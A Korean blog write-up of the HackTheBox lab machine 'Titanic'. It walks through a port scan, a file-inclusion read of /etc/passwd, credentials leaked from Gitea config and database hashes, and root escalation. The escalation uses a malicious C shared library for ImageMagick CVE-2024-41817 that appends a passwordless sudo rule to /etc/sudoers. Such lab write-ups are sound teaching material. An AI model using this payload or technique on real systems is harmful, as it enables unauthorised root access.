Port Scan

Host is up (0.36s latency).  
Not shown: 998 closed tcp ports (reset)  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)  
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)  
80/tcp open  http    Apache httpd 2.4.52  
| http-server-header:    
|   Apache/2.4.52 (Ubuntu)  
|_  Werkzeug/3.0.3 Python/3.10.12  
|_http-title: Titanic - Book Your Ship Trip  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 473.70 seconds

 

- SSH와 HTTP가 열려있다.

HTTP 서버에 접속하기 전에 해야 할 것
- `/etc/hosts`에 `10.10.11.55 titanic.htb`추가하기

 

User Flag

웹 사이트는 이렇게 생겼다

 

burp suite를 통해 살펴보자.

데이터를 전송하면, 응답으로 /download디렉터리에서 json파일을 다운로드한다.
여기서 File Inclusion이 발생한다.

`/etc/passwd`를 출력시켜 보자.

developer라는 계정이 있다는 것을 알 수 있다.

 

user flag를 알아내고 말았다.

Root Flag

먼저 `/etc/hosts`파일을 살펴보자.

`dev.titanic.htb`라는 새로운 URL을 발견했다.

Gitea를 사용하여 Github를 호스팅 하고 있는데, 2개의 저장소가 있는 것을 알 수 있다.

 

각 저장소를 살펴본 결과

경로 - developer/docker-config/mysql/docker-compose.yml
services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always


경로 - developer/docker-config/gitea/docker-compose.yml
services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

`/home/developer/gitea/data`에 뭐가 있을 것 같다.

 

Gitea `/data/` 디렉터리 구조

/data/
├── git/
│   └── repositories/             # 모든 Git 리포지토리 데이터 저장 (예: user/repo.git)
│       └── <user_or_org_name>/
│           └── <repo_name>.git/
├── gitea/
│   ├── conf/                     # Gitea의 주요 설정 파일 (app.ini) 및 사용자 정의 파일
│   │   └── app.ini
│   ├── gitea.db                  # SQLite 데이터베이스 파일 (SQLite 사용 시)
│   ├── indexers/                 # 코드 검색 (Bleve) 및 이슈 인덱서 데이터
│   │   ├── issues.bleve/
│   │   └── code.bleve/
│   ├── lfs/                      # Git Large File Storage (LFS) 데이터
│   ├── log/                      # Gitea 서버 로그 파일 (gitea.log, http.log, xorm.log 등)
│   │   └── gitea.log
│   ├── sessions/                 # 사용자 세션 데이터 (파일 기반 세션 사용 시)
│   └── attachments/              # 이슈, 댓글, 릴리스 등에 첨부된 파일
├── ssh/                          # Gitea에서 사용하는 SSH 키페어 및 `authorized_keys` 관련 파일
│   └── authorized_keys
│   └── gitea-ssh-host-key
│   └── gitea-ssh-host-key.pub
└── tmp/                          # 임시 파일 저장소

출처: Gemini

 

`/home/developer/gitea/data/gitea/conf/app.ini`

`/data/gitea/gitea.db`라는 db파일이 있고, sqlite3을 사용한다.

db파일을 다운로드하고, sqlite3로 열어보자.

. tables를 입력해 user 테이블이 있는 것을 확인했고
`SELECT * FROM user`를 통해 아래 데이터를 얻었다.

1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d  
2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28f  
c9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0  
|0|0|0||gitea-auto|0  

2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5  
dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34  
|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2  
|0|0|0|0||gitea-auto|0

- administrator, developer계정에 대한 정보를 찾았다.
- ID : developer
- PW : 25282528

SSH로 접속해 보자.

developer@titanic:~$ ls -l /opt/scripts/  
total 4  
-rwxr-xr-x 1 root root 167 Feb  3 17:11 identify_images.sh  
developer@titanic:~$ cd /opt/scripts/  
developer@titanic:/opt/scripts$ ls  
identify_images.sh  
developer@titanic:/opt/scripts$ cat identify_images.sh    
cd /opt/app/static/assets/images  
truncate -s 0 metadata.log  
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

 

`magick`에서 취약점이 발생한다.

developer@titanic:/opt/scripts$ magick --version  
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org  
Copyright: (C) 1999 ImageMagick Studio LLC  
License: https://imagemagick.org/script/license.php  
Features: Cipher DPC HDRI OpenMP(4.5)    
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml z  
lib  
Compiler: gcc (9.4)

 

ImageMagick은 이미지 처리에서 널리 사용되는 강력한 도구이지만, 그 복잡성 때문에 지속적으로 보안 취약점이 발견될 수 있습니다. ImageMagick 7.1.1-35 버전 역시 예외는 아닙니다.

ImageMagick 7.1.1-35에 직접적으로 영향을 미치는 것으로 알려진 주요 취약점 (CVE-2024-41817)이 있습니다.

- CVE-2024-41817: Arbitrary Code Execution (임의 코드 실행)
    - 설명: `AppImage` 버전의 ImageMagick 7.1.1-35 이전 버전에서 `MAGICK_CONFIGURE_PATH` 및 `LD_LIBRARY_PATH` 환경 변수를 설정할 때 빈 경로를 사용할 수 있는 문제가 발견되었습니다. 이는 ImageMagick이 악성 설정 파일이나 공유 라이브러리를 현재 작업 디렉터리에서 로드하여 임의 코드 실행으로 이어질 수 있습니다.
    - 영향: 공격자가 이 취약점을 성공적으로 악용하면, ImageMagick이 실행되는 시스템에서 임의의 명령을 실행할 수 있게 됩니다. 이는 데이터 유출, 무단 액세스, 그리고 시스템의 추가적인 악용으로 이어질 수 있는 심각한 결과를 초래합니다. 특히 웹 서버와 같이 신뢰할 수 없는 입력을 처리하는 환경에서 위험합니다.
    - 해결: 이 취약점은 ImageMagick 7.1.1-36 버전에서 수정되었습니다. 따라서 7.1.1-35 버전을 사용하고 있다면 **최신 버전 (7.1.1-36 이상)**으로 업데이트하는 것이 가장 중요합니다.
※ 출처 : Google Gemini

 

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}

 

developer@titanic:/opt/app/static/assets/images$ find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/  
magick identify >> metadata.log  
-bash: metadata.log: Permission denied  
developer@titanic:/opt/app/static/assets/images$ sudo cat /root/root.txt  
89b3b23a3f6fb19d1212c3f6a5a96e24

'HackTheBox' 카테고리의 다른 글

[HTB] Cap  (1) 2025.06.10
[HTB] Unified  (0) 2023.03.29
[HTB] Vaccine  (0) 2023.03.25
[HTB] Oopsie  (0) 2023.03.23
[HTB] ArcheType  (0) 2023.03.23

+ Recent posts